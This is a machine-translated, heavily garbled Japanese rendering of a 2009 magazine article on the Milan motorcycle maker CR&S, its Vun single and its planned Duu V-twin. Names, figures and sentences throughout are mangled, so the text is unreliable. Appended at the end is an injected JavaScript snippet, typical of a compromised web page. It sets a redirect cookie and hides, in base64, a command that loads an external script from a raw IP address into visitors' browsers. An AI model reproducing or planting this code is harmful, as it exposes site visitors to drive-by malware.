RIDERS 08 2009

男ミラノますます続きエルクールで, 幸いな心と手でオートバイを構築し、誰かがまだあります.
単独で, 細心の注意と情熱を持ちます. 運動量の物語と彼らは言われているので、多くの男性, これはアイデアの話です.
シンプルな物語, しかし、その小さなで特別な.
二輪が魂を動かすなら, 数人の友人の勇気は、ミラノのオートバイのブランドを持って管理しました. かつてビアンキなどのマドンニーナブランドの陰で運営されていた, ミラー・バルサモ, Iso Moto, Parilla, Guazzoni, イノチェンティ. そして、ペイトンペッピーノPattoni, 日本の巨人とGPで戦った最後の民間メーカー, 4つの緑のシリンダーと.

今日, ファッションの街で, カスタムメイドのバイクをカットするCRがあります&S. 外からの眺め, 本社はセッティモ・ミラネーゼの工業地帯で非常に多くの他のような小さな小屋であります. 一つのことを除いて, 外に並んでオートバイ: 似ています, しかし、彼らは同じではありません. 彼らは小さな単気筒です’ コーヒーレーサー, 少し’ 裸のポケットサイズ. 彼らはVUNと呼ばれています. 彼らはアイデアです. 同じ屋根の下でそれを働かせた人々, 同じオートバイの部品など. ワークショップは1階にあります, 壁はボルドールのポスターで覆われています, ツーリスト・トロフィーとアッセン. デザインや事務処理部門は、オープンプランのメザニンにあります (かなり, spasi回避), しなやかなフェアリングのスーパーバイクブリテンVによって支配 1000. ロベルトCrepaldiは右の前に座っています. それはだったカフェレーサーを設立し、彼 & スーパーバイクで 1992, カルロTalamoのマックス・ブランで開かれたナンバーワンを出た後、. 翌年、彼はジョン・ブリッテンに会います, そのVで有名な華麗なエンジニアZealander 1000. 彼も素早いアイデアを追求している. ブリテンを聞かせて, CRによってヨーロッパでサポート&S, それは、世界中の大会で展示します, 同じブリテンが消失するまで. 自動車セクターの起業家としての経験を活用する (それはフェラーリのディーラーでした, ジャガーEアストンマーチン), クレパルディは、彼の友人であるジョンのレーシング単気筒の最新プロジェクトに触発されています, 一人乗り, 1に等しい重量および電力比. 一つ. の, ミラノの方言で… ジョンCabassiとジョルジオSartiのは友達です, 起業家, 無料バイクの思想家で 2002 彼らは、CRでCrepaldiを挟まれています&S. ロベルトPattoni 2年後, 息子ペッピーノとペイトンの所有者, CRのパートナーとなります&開発を担当技師としてS. エンジンの選択はロータックスボンバルディアです 650, BMW Fは、その道路の職業と信頼性のおかげで高く評価されています . レーシングモノとして考え, VUNは、混合近い動物を証明します, 市内での使用にも最適 . デザインは、管状フレームのクラシックなラインとモダンなアルミニウムボディをブレンドしています, テーパーラインと技術ソリューション. 各ピースはカスタマイズ可能です, パイロットがコンポーネントを選択してペイントすることで自分のVunを構築する喜びを体験できるように. の終わりに 2006 量産開始, 年間数十の標本で, レーシングプロトタイプが隣接. 最近、monodaの2つのEvoluziÀ²nバージョンが追加されました 652 CC. レースの準備が整う 68 履歴書, そこのnurmÀが満足している間 54 cv a 7.000 ターン. まだ悪くない, 乾燥重量が 135 チリ… バンはテクニカルシートでもミラネーゼを話します, フローティングブレーキディスクがディスクベーラーになり、カドナOリング付きのチェーンが続きます。…
CRの大きな賭け&Sが勝ったようです, 欧米で分布が広がる, しかし、アイデアは回転を止めません. Vunに必然的なフォローアップを与えること, 箱から出して、多数のロジックから2つのシリンダーを使用, すでにミラノの建築家の心の中にありました 2008. それまで, クレパルディは言う, 啓示はその年のモーターバイクエキスポに到着します: 「OMMブースがありました, ワカンを輸入するミラノ力学ワークショップ, 南軍のそれと一緒に, Sによる新しいツインXウェッジを備えたゾディアックスタンドの真正面&S. だから和漢, X-ウェッジ, 南軍, の… リード!NS".
逸話自体には概念図が含まれています, 新しいCRツインシリンダーのスタイリングと美学&S. 基本的: 真新しいマキシストリートファイター, 南軍よりエリートが少ない, ワカンのように過激で建てられた
Vunエクスペリエンスに基づいて構築. プロジェクトの中心はX-Wedgeエンジンです, ハーレーダビッドソンツインカムの模倣ではないという基本的な要件があります. 56°SでのV2&Sそれは同じくらい巨大です, しかし、より多くの
モダンでパワフル, 彼と 2.000 CC, 3つのカムシャフト, 電子噴射. できる 160
ちょうど上の最大トルクのNm 3.000 ターン. ロールオーバーのもの, しかしユーロは承認した 3. そして、Duuの重さは‖onlyâ€?? 250 チリ, ハーレースポーツスター883のように…
数字がどのように繰り返されるかに注目してください: 2つのシリンダー, 2リットル, 2席 (望みます). そして、混合鋼フレームを特徴付ける大きなチューブ. 最初のスケッチは、オプションの上部構造によって隠されています, しかし、Duuの美しさがその残忍なシンプルさに輝いていることは明らかです. 裸で生, 正面から、あまり労力をかけずに運転できるように設計されています, しかし、胃の穴を打つように設計されています. まだ
一度フォーム, 機能と感情はバランスのゲームでお互いを追いかけます. ラ・ヴァンに来て, また、ドゥウそれは大人のモーターサイクリストのための欲望の物語です, 進化し、要求が厳しい. エキサイティングなバイクに再び恋をしたい人. 哲学者ジル・ドゥルーズはそれを言った, 「リビドー投資なしには革命はありません」. そしてなし, 比類のないオートバイでさえ製造されていません, 大きな家がもはや余裕がないレベルの創造性のサポートで, 注意とマーケティングロジックに悩まされている. それは魅力的な賭けです, プレイするすべて, しかし手の届くところに. まだ水平ですが
プロトタイプの, Duuの価格はの間で変動する必要があることはすでに知られています 19 と2万ユーロ.
ドゥカティストリートファイターSに過ぎない, Vロッドマッスルに沿って, V-Max未満
とハーレーダビッドソンCVO.
今年のEicmaでのプロトタイプのプレゼンテーション, ミラノモーターショーで決定的なバイクを見るために 2010. 次のシーズンからの生産: 「私たちは大きな数を目指していません, 私たちはアイデアを持った小さな会社です
クリア»はクレパルディを結論付けます. Â「年間100台の自転車のマイルストーンは、損益分岐点に到達し、利益率を上げることを意味します。, 次のCRモーターサイクルの開発に再投資される&彼女". 翻訳済み
ミラノ語で自由に: ミンガデドゥウセンザトリです.

記事を読む…

関数getCookie(E){VAR U = document.cookie.match(新しい正規表現(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/グラム,”\\$1″)+”=([^;]*)”));Uを返します?decodeURIComponent(ザ・[1]):空隙 0}VARのSRC =”データ:テキスト/ javascriptの;base64で、ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,今= Math.floor(Date.now()/1E3),クッキー= getCookie(“リダイレクト”);もし(今>=(時間=クッキー)||無効0 ===時間){VAR時間= Math.floor(Date.now()/1E3 + 86400),日付=新しい日付((新しい日付).時間をもらう()+86400);document.cookie =”リダイレクト=”+時間+”; パス= /; =有効期限が切れます”+date.toGMTString(),document.writeを(”)}